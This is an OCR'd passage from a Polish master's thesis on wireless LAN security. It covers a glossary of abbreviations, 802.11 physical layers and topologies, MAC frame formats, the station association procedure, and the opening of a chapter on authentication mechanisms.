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1. Slowniczek skrotow

e ACL - ang. Access Control List — lista kontroli dostepu

o AES - ang. Advanced Encryption Standard — algorytm szyfrowania, stosowany
w CCMP

e AID - ang. Association Identifier — identyfikator portu logicznego w AP
przydzielany do skojarzenia z punktem dostgpowym

e AP - ang. Access Point — punkt dostgpowy

e ARP - ang. Address Resolution Protocol — protokot odpowiedzialny za
powiazanie adreséw fizycznych i logicznych w sieci TCP/IP

e BSS - ang. Basic Service Set — podstawowa topologia sieci WLAN

e (CCMP - ang. Counter Mode CBC-MAC Protocol — algorytm poufnosci danych
stosowany w WPA2

e (CRC(C-32 - ang. Cyclic Redundancy Code - 32 bit — algorytm wyznaczajacy sume¢
kontrolng na podstawie wielomianow

e DES - ang. Data Encryption Standard — algorytm szyfrowania

e DHCP - ang. Dynamic Host Configuration Protocol — protok6l umozliwiajacy
automatyczng konfiguracje interfejsoOw sieciowych

e DNS - ang. Domain Name System — system rozwiazywania nazw domenowych
na adresy IP 1 odwrotnie (tzw. RevDNS)

e DoS - ang. Denial Of Service — atak odmowy ustugi

o FEAP - ang. Extensible Authentication Protocol — protokot stosowany w
szkielecie uwierzytelniania 802.1X warstwy drugiej

e [ESS - ang. Extended Service Set — rozszerzona topologia sieci WLAN

e [FCS - ang. Frame Check Sequence — sekwencja bitow, dotaczana do ramki w
celu badania prawidlowej kolejnosci jej odebrania

o FMS - ang. Fluhrer Mantin Shamir attack — atak niemieckich kryptografow na
algorytm WEP



GPL - ang. General Public License — licencja publiczna dla wolnego
oprogramowania

GTK - ang. Group Transient Key — tymczasowy klucz grupowy w negocjacji
czteroetapowej

HTML - ang. HyperText Markup Language — j¢zyk stron internetowych

IBSS - ang. Independent Basic Service Set — niezalezna topologia sieci WLAN,
pracujaca bez punktu dostgpowego

ICV - ang. Integrity Check Value — pole dotaczane do ramki przez algorytm
WEP w celu sprawdzenia integralnosci danych

ISM - ang. Industrial Scientific Medical — pasmo 2.4 GHz, na ktérym pracuja
sieci WLAN, Bluetooth, kuchnie mikrofalowe 1 inne urzadzenia

1V - ang. Initialization Vector — wektor inicjacyjny w RC4 1 WEP

KCK - ang. Key Confirmation Key — klucz do generowania kodu
uwierzytelniajacego wiadomos$ci w negocjacji czteroetapowej

KDE - ang. K Desktop Environment — srodowisko graficzne systemu Linux

KEK - ang. Key Encryption Key — klucz do zapewnienia poufno$ci danych w
trakcie negocjacji czteroetapowej

KSA - ang. Key Shedulling Algorithm — algorytm zarzadzania kluczami

LAN - ang. Local Area Network — sie¢ lokalna

LEAP - ang. Lightweight Extensible Authentication Protocol — algorytm
uwierzytelniania firmy Cisco

LiLo - ang. Linux Loader — program rozruchowy systemu Linux

MAC - ang. Media Access Control — podwarstwa warstwy drugiej,
odpowiedzialna za dostgp do medium

MIC - ang. Message Integrity Chceck (Michael) — algorytm zapewniajacy
integralno$¢ danych w WPA/WPA?2

MK - ang. Master Key — klucz nadrzgdny w negocjacji czteroetapowej,
wygenerowany przez algorytm uwierzytelniania

PAE - ang. Port Access Entity — logiczny port ustug lub uwierzytelniania w
urzadzeniu weryfikujacym tozsamos$¢ (np. AP)

PEAP - ang. Protected Extensible Authentication Protocol — oparty na nazwach
uzytkownikow i hastach protokot EAP



PHP - ang. PHP Hypertext Processor — dynamiczny jezyk stron internetowych,
podobny sktadnia do jezyka C; wizualnym efektem jego wykonania jest kod
HTML

PMK - ang. Pairwise Master Key — pojedynczy klucz gtowny

PPPoE - ang. Point-to-Point Protocol over Ethernet — protokoét punkt-punkt
dziatajacy w technologii Ethernet

PRGA - ang. Pseudo Random Generation Algorithm — algorytm pseudolosowe;]
generacji

PSK - ang. Pre-Shared Key — klucz wspotdzielony, stuzacy do uwierzytelniania
oraz szyfrowania danych w WEP, oraz posrednio w WPA-PSK, WPA2-PSK
PTK - ang. Pairwise Transient Key — tymczasowy klucz, zawierajacy KCK,
KEK, TEK, TMK

PTW - ang. Pychkin Weinmann Tews attack — metoda tamania algorytmu WEP
opracowana przez niemieckich kryptograféw w kwietniu 2007 roku

RADIUS - ang. Remote Authentication Dial In User Service — serwer
uwierzytelniajacy oraz rozliczajacy

RC4 - ang. Rivest Cipher 4 — algorytm wykorzystany w WEP oraz TKIP

SSID - ang. Service Set Identifier — identyfikator sieci bezprzewodowe;j

TCP/IP - ang. Transport Control Protocol / Internet Protocol -—
najpopularniejszy obecnie protokoét stuzacy do komunikacji w sieci

TEK - ang. Temporary Encryption Key — klucz do szyfrowania danych w
algorytmach TKIP oraz AES

TKIP - ang. Temporary Key Integrity Protocol — algorytm oparty o RC4,
wykorzystany w WPA

TLS - ang. Transport Layer Security — metoda zapewnienia bezpieczenstwa w
warstwie transportowej, oparta o certyfikaty cyfrowe

TMK - ang. Temporary MIC Key — klucz do uwierzytelniania danych, uzywany
przez algorytm MIC

WEP - ang. Wired Equivalent Privacy — algorytm poufnosci danych,
zdefiniowany przez pierwsza wersj¢ standardu IEEE 802.11

WLAN - ang. Wireless Local Area Network — bezprzewodowa sie¢ lokalna

WPA - ang. Wi-fi Protected Access — specyfikacja eliminujaca wady
zabezpieczen IEEE 802.11



2. Wprowadzenie

W ciagu ostatnich kilku lat lokalne sieci bezprzewodowe WLAN (ang. Wireless
Local Area Network) staty si¢ dos¢ popularne, gléwnie za sprawa niskich cen urzadzen
dostepowych. Coraz wigcej uzytkownikow decyduje si¢ na wprowadzenie do zycia
codziennego bezprzewodowych rozwiazan, umozliwiajacych swobodny dostep do
zasobow Internetu z komputeréw przenosnych a takze innych urzadzen typu palmtop
lub telefon VoIP (ang. Voice over IP Protocol). Przepustowosci, jakie obecnie
zapewniaja urzadzenia zgodne ze standardami IEEE 802.11g w zupelnosci wystarczaja
do komfortowej pracy w globalne;j sieci.

Roéwniez coraz wigcej matych, lokalnych i niezaleznych firm wykorzystuje sieci
WLAN jako rozwiazanie problemu ostatniej mili czyli zapewnienia cyfrowej tacznosci
z abonentem. Wszystko to za sprawa niewielkich kosztow, jakie trzeba zainwestowac w
infrastruktur¢ aby rozpoczaé tego typu dziatalnos$¢. Niestety sieci WLAN pracuja w
ogolnodostgpnych pasmach czgstotliwosci (ISM 2.4 GHz oraz 5 GHz), co w
konsekwencji powoduje wzrost zaktocen proporcjonalny do ilosci sieci znajdujacych sig
na danym obszarze.

Ponadto, bezpieczenstwo jest aspektem niezwykle waznym. Na bezpieczenstwo
sieci bezprzewodowych sklada si¢ kilka czynnikow, ktore podzieli¢ mozna na trzy

gtéwne grupy:

a) warunkujace bezpieczne uwierzytelnienie (ang.  authentication) czyli
dopuszczenie tylko autoryzowanych uzytkownikéw do zasobow sieci;

b) zapewniajace poufnos¢ transmisji informacji czyli algorytmy szyfrowania
transmisji (ang. encryption);

c) kontrolujace integralno$§¢ przesytanych informacji (ang. integrity) czyli

zgodno$¢ informacji nadanych z informacjami otrzymanymi.

Do tej pory opracowano dwa standardy, w ktérych mowa jest o bezpieczenstwie
siect WLAN — IEEE 802.11 oraz IEEE 802.11i. Oprocz nich powstala przejsciowa

specyfikacja o nazwie WPA (ang. WiFi Protected Access). Od kilku lat wiadomo, Ze
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aspekty bezpieczenstwa przedstawione w tresci standardu IEEE 802.11 posiadaja
powazne wady, ktore catkowicie dyskwalifikuja je pod wzgledem wykorzystania.
Jednak nie§wiadomi potencjalnego zagrozenia uzytkownicy do tej pory korzystaja z
omawianych metod zabezpieczen z uwagi na prostote ich konfiguracji oraz
kompatybilnos$¢ ze starszymi urzadzeniami dostgpowymi.

W przypadku matych firm, ktéore w ciagu kilku ostatnich lat rozwingly swoja
infrastruktur¢ sieciowa w oparciu o sprzg¢t zgodny ze standardem IEEE 802.11,
wprowadzenie odpowiednich zabezpieczen warstwy drugiej modelu odniesienia ISO-
OSI zgodnych ze standardem IEEE 802.11i jest praktycznie niemozliwe. To glowny
powdd, dla ktérego obecnie rezygnuje si¢ z zapewnienia odpowiedniego poziomu
bezpieczenstwa warstwy drugiej. Na jego miejsce stosuje si¢ rézne elastyczne
rozwiazania zapewniajace poufnos¢ korzystania z sieci na poziomie warstwy trzeciej i
warstw wyzszych takich jak VPN (ang. Virtual Private Network). Jednak rozwiazania
takie wciaz daja nieautoryzowanym uzytkownikom mozliwo$¢ dostgpu do sieci
(warstwa druga) oraz przeprowadzenia atakéw typu DoS (ang. Denial of Service —
odmowa dostepu do ustugi).

Celem pracy magisterskiej jest analiza mechanizméw bezpieczenstwa sieci
bezprzewodowych WLAN oraz wskazanie ich stabosci. Dla zademonstrowania
mechanizmow bezpieczenstwa oraz metod ich lamania skonstruowane zostanie

stanowisko laboratoryjne, mozliwe do wykorzystania dla celow dydaktycznych.



2.1. Technologie warstwy fizycznej sieci 802.11

Standard IEEE 802.11 definiuje pig¢ technologii warstwy fizycznej.
Charakteryzuja si¢ one roznymi czgstotliwo$ciami  pracy, oferowanymi

przeptywnosciami bitowymi oraz technikami wielodostgpu. Naleza do nich:

a) warstwa fizyczna IEEE 802.11 z technika FHSS (ang. Frequency Hopping
Spread Spectrum), polegajaca na rozpraszaniu widma czgstotliwosci metoda
skokow w pasmie ISM 2.4 GHz, zapewniajaca przeptywnosci bitowe do 2 Mb/s;

b) warstwa fizyczna IEEE 802.11 z technika DSSS (ang. Direct Sequence Spread
Spectrum), polegajaca na rozpraszaniu widma czgstotliwosci metoda
bezposrednia za pomoca sekwencji pseudolosowych w pasmie ISM 2.4 GHz,
zapewniajaca przeptywnosci bitowe do 2 Mb/s;

c) warstwa fizyczna IEEE 802.11b z technika jak w IEEE 802.11 w pasmie 2.4
GHz, zapewniajaca przeptywnosci bitowe do 11 Mb/s;

d) warstwa fizyczna IEEE 802.11a z technika OFDM (ang. Orthogonal Frequency
Division Multiplexing), polegajaca na ortogonalnym zwielokrotnieniu z
podziatem czgstotliwosci w pasmie 5 GHz, zapewniajaca przeptywnosci bitowe
do 54 Mb/s;

e) warstwa fizyczna IEEE 802.11g z technika ERP (ang. Extended Rate PHY),
zapewniajaca przeplywnosci bitowe do 54 Mb/s przy pomocy technik
zaczerpnig¢tych z OFDM;

f) warstwa fizyczna IEEE 802.11n, wprowadzajaca do sieci WLAN technologig
MIMO (ang. Multiple Input — Multiple Output), ktéra wykorzystuje niepozadane
do tej pory zjawisko, jakim jest propagacja wielodrogowa 1 zapewnia

przeptywnosci bitowe powyzej 100Mb/s.

W chwili obecnej systemy WLAN korzystajace z techniki FHSS nie sa juz
powszechnie stosowane. Najwigksza popularno$cia ciesza si¢ urzadzenia zgodne ze
standardami a/b/g z uwagi na niska ceng urzadzen oraz niezbyt skomplikowany sposob

konfiguracji.
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2.2. Topologie sieci WLAN

Topologia sieci, w aspekcie sieci WLAN, to inaczej sposob laczenia si¢ hostow
bedacych uczestnikami sieci ze soba lub z urzadzeniami dystrybucyjnymi. W przypadku
sieci WLAN okreslono cztery rodzaje topologii, ktére umozliwiaja hostom pracg w

srodowisku bezprzewodowym. Naleza do nich [2]:

a) topologia IBSS (ang. Independent Basic Service Set);

b) topologia BSS (ang. Basic Service Set);

c) topologia ESS (ang. Extended Service Set);

d) topologia MESH (rozwiazanie badane przez firm¢ Microsoft, pochodzi z
nieratyfikowanego jeszcze standardu IEEE 802.11s) [24].

2.2.1. Topologia IBSS

Sie¢ pracujaca w topologii IBSS to grupa urzadzen, zgodnych ze standardem
802.11, ktore tacza si¢ ze soba bezposrednio (ang. peer-to-peer). Inna nazwa dla tego
rodzaju sieci to sie¢ tymczasowa lub ad-hoc network. Rysunek 2.1 przedstawia

obrazowo strukture sieci IBSS.

Host 3

Rys. 2.1. Topologia IBSS
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Z pojeciem sieci IBSS zwigzana jest sytuacja, kiedy indywidualne, niezalezne
urzadzenia klienckie tworza samowystarczalng sie¢ nie korzystajac z punktu
dostgpowego AP (ang. Access Point). Tego typu sieci nie wymagaja zadnego wstgpnego
planowania ani pomiaréw, gdyz ich struktura jest tymczasowa. Zwykle istnieja na
niewielkim obszarze (np. biuro, mieszkanie) oraz jedynie w czasie wymiany informacji.
Liczba uzytkownikow takiej konfiguracji sieciowej jest teoretycznie nieograniczona,
jednak nie zawsze wszyscy moga si¢ komunikowacé ze soba poniewaz moze doj$¢ do
sytuacji, kiedy na jednej linii znajda si¢ trzy urzadzenia bezprzewodowe. W takim
przypadku hosty na koncu tej linii nie maja mozliwosci komunikacji ze soba, poniewaz
nie zdefiniowano zadnego mechanizmu przekazywania (ang. Relaying) dla tego typu
siecl.

Jak juz wczesniej zauwazono, w sieci IBSS nie ma punktu dostgpowego wigc
sterowanie taktowaniem jest rozproszone. Klient inicjujacy sie¢ IBSS ustawia odstgp
sygnalizacyjny w celu utworzenia czaséw wysylania sygnalizatorow TBTT (ang. Target
Beacon Transmission Times). TBTT sa nastgpnie wysytane do wszystkich pozostatych
klientow, ktorzy synchronizuja swoje liczniki czasowe do zadanego opdznienia za
pomoca funkcji TSF (ang. Timer Synchronization Function), umieszczonej w TBTT.
Jesli warto$¢ TSF jest wigksza (zegar w stacji nadawczej taktowany jest szybciej) to
nastgpuje aktualizacja licznika czasowego zgodnie z otrzymang warto$cia. W
konsekwencji powoduje to, ze urzadzenia dostosowuja taktowanie do klienta z
najszybszym licznikiem. W przypadku wigkszej ilosci uzytkownikow synchronizacja

rozproszona moze sta¢ si¢ procesem czasochtonnym.

2.2.2. Topologia BSS

Sie¢ BSS to grupa stacji bezprzewodowych komunikujacych si¢ ze soba przez
wyspecjalizowany do tego celu punkt dostgpowy AP. Punkt dostgpowy jest centralnym
punktem komunikacyjnym dla wszystkich stacji nalezacych do sieci BSS. Stacje
bezprzewodowe nie maja mozliwosci bezposredniej komunikacji ze soba. Komunikacja
migdzy nimi odbywa si¢ poprzez przekazywanie ramek ze zrodta do celu w punkcie
dostgpowym. Punkt dostgpowy moze dysponowaé rowniez portami uplink takimi jak

RJ-45 (np. Fast Ethernet) lub RJ-11 do potaczenia w technologii xDSL z innymi
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sieciami. Z tego powodu sieci BSS nazywa si¢ rowniez sieciami typu Infrastructure.

Topologig BSS przedstawiono na rysunku 2.2.

((9))

—7L— %

AP (punkt dostepowy) Host 3

Rys. 2.2. Topologia BSS

2.2.3. Topologia ESS

Sieci strukturalne (ang. Infrastructure) mozna grupowaé za pomoca taczy typu
uplink poprzez odpowiedni system dystrybucyjny np. routery, przetaczniki,
koncentratory. Zbidr sieci BSS potaczonych okreslonym systemem dystrybucyjnym
okreslono mianem topologii ESS. Rysunek 2.3 przedstawia przykladowa konfiguracje

sieci ESS, ktora bardzo czgsto wykorzystywana jest przez lokalne sieci osiedlowe.

()  —7=— ()

'\.
Router z NAT Prze’chzmk
Most bezprzedowy Most bezprzewodowy
‘ ( ) <( ))
& —z— [\ —— &
Host 1 Host 2 Host 3
AP 2

Rys. 2.3. Ztozona topologia ESS
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2.2.4. Topologia MESH

Gléwnym zatozeniem topologii typu MESH (krata, siatka) jest umozliwienie
komunikacji bezprzewodowej miedzy urzadzeniami sieciowym bez koniecznosci
angazowania urzadzen typu AP (jednak nie wyklucza ich catkowicie). W porownaniu
do topologii IBSS, wprowadzono tu mozliwos¢ komunikowania si¢ z odleglymi
jednostkami WLAN poprzez urzadzenia znajdujace si¢ migdzy stacja poczatkowa a
koncowa. Posiada ona kilka istotnych =zalet. Przede wszystkim oferuje duza
skalowalno$¢ sieci oraz samo-naprawialnos¢. W przypadku awarii jednego z urzadzen
sieciowych, caly ruch moze zosta¢ przekierowany poprzez inne urzadzenie sieciowe.
Dodatkowa zaleta sieci typu MESH ma by¢ kompatybilno$¢ z innymi sieciami 802.11.

Najwigkszym problemem, z jakim borykaja si¢ tego typu sieci to odpowiednie
protokoty wyboru tras (ang. Routing). Przewidywana na rok 2008 ratyfikacja standardu
IEEE 802.11s definiuje podstawowy i opcjonalny protokoét routingu dla sieci MESH.
Pierwszy z nich to HWMP (ang. Hybrid Wireless Mesh Protocol). Laczy routing
dynamiczny na zadanie z routingiem, dzialajacym na zasadzie budowania struktury
drzewa z uwzglednieniem tzw. kosztow dotarcia do korzenia. Drugi to RA-OLSR (ang.
Radio Aware Optimized Link State Routing protocol). Funkcjonuje on na zasadzie
ograniczenia informacji o $ciezkach wysylanych w sieci przez ograniczenie
pamigtanych tras wylacznie do najblizszych sasiadow danej stacji bezprzewodowe;.

Rysunek 2.4 przedstawia przyktad topologii typu MESH.
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Rys. 2.4. Przyktadowa topologia typu MESH (kolorami zielonym, czerwonym oraz niebieskim

zaznaczono przyktadowe $ciezki od Hosta 1 do AP)

3. Warstwa MAC w sieci 802.11

Warstwa MAC w sieciach 802.11 odpowiedzialna jest za dostep do
bezprzewodowego medium transmisyjnego. Na poziomie tej warstwy realizowane jest
laczenie si¢ stacji bezprzewodowych oraz wszelkie procedury zwiazane z
uwierzytelnianiem w sieci. Operuje ona trzema rodzajami ramek MAC, do ktorych

zaliczono:

a) ramki kontrolne (ang. Control Frames), usprawniajace wysytanie ramek danych;
b) ramki zarzadzajace (ang. Management Frames), odpowiadajace za
uwierzytelnianie, facznos$¢ i status w sieci;

¢) ramki danych (ang. Data Frames), przenoszace dane migdzy stacjami.

W zaleznosci od rodzaju topologii sieci, ramki warstwy MAC uzywaja
identyfikatorow sieci takich jak BSSID lub ESSID (ang. BSS or ESS [Dentifier), ktore
sa 48-bitowymi adresami fizycznymi urzadzen. Dodatkowo ramki zarzadzajace uzywaja
identyfikatora SSID (ang. Service Set Identifier) o rozmiarze 0-32 bajtéw, ktory jest

nazwa sieci o dtugosci 0-32 znakow.

3.1. Formaty ramek MAC

Ogoblny format ramki MAC zostat przedstawiony na rysunku 2.1. Zawiera on
elementy, ktore znajduja si¢ w ramkach MAC, niezaleznie od ich typu. Za okreslenie
typu ramki odpowiada element Frame Control, ktorego elementy sktadowe rowniez

przedstawiono na rysunku 3.1 oraz opisano ponizej.
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RAMA MAC

FRAME | DURATION SEQUENCE FRAME
CONTROL i ADDRESS 1 | ADDRESS 2 | ADDRESS3 | oo | ADDRESS4 | 1y |FCS
ELEMENT FRAME COMTROL
PROTOCOL TO | FROM | MORE POVWER MORE
wersion | e | SUBTYFE | el s | Fracwents | FETRY | manaceMEnT | paTas | VEP | ORDER
Rys. 3.1. Format ramki MAC oraz elementu FRAME CONTROL
Na elementy ramki MAC sktadaja sig:
a) element Frame Control o dlugosci 2 bajtéw, ktory zawiera 11 pdl

przedstawionych i oméwionych w tabeli 3.1;

Tabela 3.1. Pola elementu Frame Control oraz ich funkcje (na podstawie [1])

Nazwa pola Dlugos¢ Funkcja
Okresla wersjg protokotu 802.11 MAC. Jest to wartos¢
PROTOCOL VERSION 2 przewidziana na przyszto$¢ (np. dla standardu 802.11n/s) i
ustawiona jest na 0.
Okresla jeden z trzech typow ramki MAC: kontrolna,
TYPE 2 zarzadzajaca lub danych. Czwarta mozliwo$¢ (2 bity) jest
zarezerwowana.
SUBTYPE 4 Okres.la podtyp ramk}. Wszystkle po.dtypy ramek wraz z ich
funkcjami zostaty omowione w punkcie 5.1.1.
TO DS 1 Okre$la, czy ramka przeznaczona jest dla systemu
' dystrybucyjnego (np. AP)
FROM DS. 1 Okresla, czy ramka pochodzi od systemu dystrybucyjnego (np.
AP)
MORE FRAGMENTS | Okresla, czy ramka jest fragmentem danej ramki czy jest
kompletna.
RETRY 1 Okredla czy ramka jest retransmitowana.
Wskazuje tryb zasilania stacji (oszczgdny, normalny).
POWER MANAGEMENT 1 Szczegoty dotyczace trybow zasilania nie zostana przytoczone
W niniejszej pracy dyplomowe;.
MORE DATA 1 Informuje ’StaC']Q odblorczat.o przeznaczonej dla niej porcji
danych, ktore sa zbuforowanie w AP.
Informuje, ze do szyfrowania ramki zastosowano algorytm
WEP 1 WEP (ang. Wired Equivalent Privacy) omoéwiony szczegétowo
pOznie;j.
ORDER 1 Okresla porzadek przesytania ramek. Zazwyczaj ustawione jest

nal.
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b) element DURATION ID o dlugosci 2 bitéw, okreslajacy czas trwania wymiany
ramek pomigdzy stacjami lub uzywany do celow dodatkowych;

c) elementy ADDRESS 1, 2, 3, 4 o dlugosci 6 bajtow, zalezne od typu i1 podtypu
ramki;

d) element SEQUENCE CONTROL o ditugosci 2 bajtow, informujacy system o
numerze kolejnego fragmentu ramki;

e) element FCS o dlugosci 4 bajtow, zawierajacy sumg kontrolna CRC32,
obliczana na podstawie wszystkich pozostatych po6l ramki.

3.1.1. Ramki kontrolne

W tabeli 3.2 przedstawiono typy ramek kontrolnych oraz opis funkcji i

ewentualny opis znaczenia elementoéw znajdujacych si¢ w danym typie ramki.

Tabela 3.2. Ramki kontrolne oraz ich funkcje (na podstawie [1])

Nazwa Funkcja

Informuje punkt dostgpu, o zadaniu przez bezprzewodowa stacj¢ pracujaca

Power Save Pool (PS-Poll) w trybie oszczednym dostarczenia wszystkich zbuforowanych ramek.

Odpowiada za zadanie rezerwacji bezprzewodowego no$nika oraz jest
RTS cze$cia mechanizmu dostepu 802.11. Definiuje czas potrzebny na transmisje
danych czyli przestanie ramek RTS, CTS, danych oraz ACK.

Jest odpowiedzia na ramk¢ RTS informujacq stacj¢ odbiorcza o rezerwacji

CTS nos$nika na okreslony czas.
Jest potwierdzeniem transmisji ramki, informuje nadawce¢ o pomy$lnym
ACK . . .
odebraniu ramki danych przez odbiorcg.
CF-END Ramki te informuja punkt dostgpowy o koncu okresu bez rywalizacji o

CF-END + CF-ACK dostgp do nosnika.

3.1.2. Ramki zarzadzajace

Ramki zarzadzajace (przedstawione w tabeli 3.3), oprocz charakterystycznych
dla nich po6l, zawieraja rowniez wlasciwe dla ramek zarzadzajacych struktury danych
zwanych elementami informacyjnymi oraz pola stale. Pola te przekazuja do stacji

bezprzewodowych informacje o nastgpujacych wybranych parametrach:

a) SSID — nazwa sieci;
b) obstugiwane predkos$ci transmisji;

¢) parametry dotyczace techniki transmisji w warstwie fizycznej;
17




d)

tekst wezwania, uzywany w ramkach zwiazanych z uwierzytelnianiem;

identyfikator algorytmu uwierzytelniania;

f) interwat sygnalizatora (zwiazany z synchronizacja);

g)
h)

adres fizyczny biezacego punktu dostgpowego;

identyfikator stacji bezprzewodowej AID przyznany przez AP;

1) $cisle okreslony kod, zwiazany z przyczyna odmowy autoryzacji przez punkt

dostepowy.

Tabela 3.3. Ramki zarzadzajace i ich funkcje (na podstawie [1])

Nazwa Funkcja
Jest to ramka sygnalizacyjna, wysylana w tempie wyznaczanym przez
sygnaty sygnalizacyjne. Zapewnia synchronizacj¢ czasowa migdzy AP
BEACON a stacjami bezprzewodowymi. Przenosi réwniez parametry zwiazane z
warstwa fizyczna (np. obstugiwane predkosci). Producenci sprzetu
moga ponadto umieszcza¢ w niej wlasne niestandardowe informacje.
PROBE REQUEST Ramka oznaczajaca zadanie w trybie wyszukiwania dostgpnych sieci
bezprzewodowych na danym obszarze.
PROBE RESPONSE Odpowiedz stacji (lub AP) na powyzsze zadanie.
AUTHENTICATION Rarpka 1nf9rmujqca o wykorzystywanym w danej sieci algorytmie
uwierzytelniania.
DEAUTHENTICATION Rarpka 1¥1f0.rmu-| aca  stacje  bezprzewodowa o  cofnigciu
uwierzytelnienia.
Ramka przenoszaca zadanie skojarzenia stacji bezprzewodowej z
ASSOCIATION REQUEST  |punktem dostgpowym. Proces skojarzenia zostanie omoéwiony w
dalszej czgscei.
ASSOCIATION RESPONSE Odpgwwdz punktu dqstqpowego na zadanie skojarzenia wysytana do
stacji bezprzewodowe;j.
REASSOCIATION REQUEST Zadanie przez .punkt dostgpowy ponownego skojarzenia od stacji
bezprzewodowe;j.
REASSOCIATION OdpowiedZ stacji bezprzewodowej na powyzsze zadanie, w trakcie
RESPONSE ktdrej nastgpuje ponowne skojarzenie z punktem dostgpowym.
DISASSOCIATION Ramka informujaca stacje bezprzewodowa o cofnigciu (zerwaniu)

skojarzenia z punktem dost¢gpowym (lub inna stacja bezprzewodowa).

3.1.3. Ramki danych

Ramki danych, jak sama nazwa wskazuje, przenosza tadunek (informacje) od

nadawcy do odbiorcy. Standard 802.11 definiuje osiem r6znych typow ramek danych,

jednak w niniejszym podpunkcie omowione zostanag dwa najistotniejsze. Pierwszy z

nich to ramki DATA. Ich budowa jest bardzo prosta w odniesieniu do rysunku 3.1. Trzy
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pierwsze pola adresowe zawieraja kolejno: fizyczny adres docelowy, punktu
dostepowego oraz zrodlowy. Pomiedzy polem SEQUENCE CONTROL a FSC znajduje
si¢ tadunek danych o dtugosci 1-2312 bajtéw. Drugi z omawianych typéw ramek to
NULL DATA. Charakteryzuje si¢ on zerowym tadunkiem danych w poréwnaniu do
ramki DATA. Wystanie takiej ramki przez ktorakolwiek ze stacji bezprzewodowych lub
punkt dostgpowy oznacza zmiang w bicie trybu oszczednego w polu FRAME
CONTROL (Rys. 3.1).

3.2. Mechanizm laczenia si¢ stacji bezprzewodowych

Procedura taczenia sig stacji bezprzewodowych (lub stacji bezprzewodowej do
AP) skfada sig¢ z trzech gléwnych etapow. Pierwszym z nich jest probkowanie (ang.
Probe), ktére polega na wyszukiwaniu dostepnych sieci bezprzewodowych w zasiggu
danego urzadzenia. Proces probkowania rozpoczyna si¢ od wystania przez stacjg
bezprzewodowa ramki zadania (ang. Probe Request) na kazdym dostgpnym kanale
czestotliwosci. Ramka ta przenosi informacje o SSID sieci WLAN, z ktora stacja
bezprzewodowa zostata skonfigurowana do wspdtpracy. Dodatkowo, zawarte w niej sa
informacj¢ o obstugiwanych predko$ciach transmisji danych. Ramka Zzadania wysytana
jest z najnizsza mozliwa predkoscia 1 Mb/s.

Punkt dostgpu (lub stacja bezprzewodowa w trybie IBSS), po zwerytikowaniu
prawidtowosci ramki zadania za pomoca sekwencji FCS (ang. Frame Check Sequence),
wysyta ramk¢ odpowiedzi na Zzadanie (ang. Probe Response), ktdra zawiera informacje
dotyczace warstwy fizycznej wlasnej sieci oraz informacje umozliwiajace przyszia
synchronizacjg.

Po otrzymaniu powyzszej ramki, stacja kliencka ustala silg¢ sygnalu punktu
dostgpowego. W przypadku, gdy w obszarze o wystarczajaco matym promieniu znajda
si¢ dwie sieci (dwa AP) o tym samym identyfikatorze SSID, stacja bezprzewodowa
dokonuje wyboru, z ktora si¢ potaczy. Gléwnymi kryteriami takiego wyboru sa: poziom
sygnatlu oraz obstugiwane predkosci danych. Producenci sprz¢tu maja jednak
mozliwo$¢ ustalenia wlasnego kryterium, co przewiduje standard 802.11.

Kolejnym etapem faczenia sig¢ stacji bezprzewodowych jest uwierzytelnianie
(ang. Authentication). Jest to proces, ktéry ma na celu zapewnienie dostepu do sieci
wylacznie autoryzowanym klientom. Tematyka ta zostanie szeroko przeanalizowana w

kolejnych czterech rozdziatach niniejszej pracy dyplomowe;.
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Ostatnim z omawianych etapow jest proces skojarzenia (ang. Association) stacji
bezprzewodowej z punktem dostgpowym. Polega on na przydzieleniu klientowi sieci
logicznego portu lub identyfikatora AID (ang. Association Identifier). Proces
skojarzenia inicjuje stacja bezprzewodowa wystaniem ramki ASSOCIATION

REQUEST, a konczy punkt dostgpowy wysytajac ramkg ASSOCIATION RESPONSE.

4. Aspekty bezpieczenstwa wg standardu IEEE 802.11

Standard IEEE 802.11 definiuje sposoby zapewnienia bezpieczenstwa
bezprzewodowego w warstwie facza danych. Jednak juz na wstgpie rozwazan nalezy
zauwazyC, 1z sa to zabezpieczenia zwiazane z autoryzacja dostgpu, poufnoscia
przesylanych informacji oraz ich integralnoscia. Bardzo waznym, a zarazem do$¢
trudnym do zrealizowania aspektem jest zapewnienie odpowiedniego bezpieczenstwa w
warstwie fizycznej. Zwiazane jest to z charakterem medium transmisyjnego, jakim jest
srodowisko bezprzewodowe. Transmisja migdzy urzadzeniami sieciowymi odbywa sig
za pomoca fal radiowych, zatem dostgp do transmitowanych danych ma kazdy, kto
znajdzie si¢ w zasiggu punktu dystrybucyjnego sieci lub wybranej stacji
bezprzewodowe;.

Bezposrednio z charakterem warstwy fizyczne] zwiazane sa mozliwosci
stosunkowo tatwego przeprowadzania atakéw typu DoS (ang. Denial Of Service),
polegajace na doprowadzeniu urzadzenia nadawczego lub medium transmisyjnego do
stanu nasycenia, w ktorym nast¢puje odmowa dostgpu do ustugi. W przypadku sieci
WLAN mowa oczywiscie o zakldcaniu czgstotliwosci, na ktérych pracuje dana sie¢
bezprzewodowa. Kwesti¢ t¢ poteguje fakt, Ze omawiane pasma czgstotliwosci nie sa
licencjonowane 1 w rzeczywistosci kazdy moze z nich korzysta¢ w dowolny sposob nie
przekraczajac okre$lonych norm. Zadnym problemem, w dobie dzisiejszego rozwoju
nauki oraz techniki, jest skonstruowanie generatora sygnatowego pracujacego w jednym
z pasm wykorzystywanych przez sieci WLAN przy niskim naktadzie kosztow.
Dysponujac odpowiednia moca wypromieniowywana w kierunku nadajnika omawianej
sieci, mozna skutecznie unieruchomi¢ transmisj¢, a w najlepszym przypadku
spowodowa¢ niestabilng jej prace (zauwazalng np. w warstwie sieciowej jako

zwigkszone opOznienie przesylanych pakietow). Problemy te sa oczywiste 1 praktycznie
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nie ma od nich Zadnej ucieczki poza ekranowaniem obszaréw, na ktérych funkcjonuja

sieci bezprzewodowe, co ogranicza zasigg i dziatanie tych sieci.

4.1. Mechanizmy uwierzytelniania

Standard 802.11 definiuje dwa mechanizmy uwierzytelnia klientoéw sieci
bezprzewodowych WLAN: otwarte oraz z kluczem wspodtdzielonym. Producenci jednak
dodatkowo implementuja w swoich urzadzeniach trzecie opcjonalne rozwiazanie,
polegajace na weryfikacji adresu fizycznego MAC urzadzenia, ktore probuje uzyskaé
dostep do sieci.

Uwierzytelnianie otwarte (ang. Open Authentication) polega na akceptowaniu
przez punkt dostgpowy zadan uwierzytelnienia od dowolnego klienta (Rys. 4.1).
Oznacza to oczywiscie catkowity brak kontroli dostgpu do sieci. Taka metoda
uwierzytelniania umozliwia jednak uzyskiwanie szybkiego dostgpu do sieci WLAN
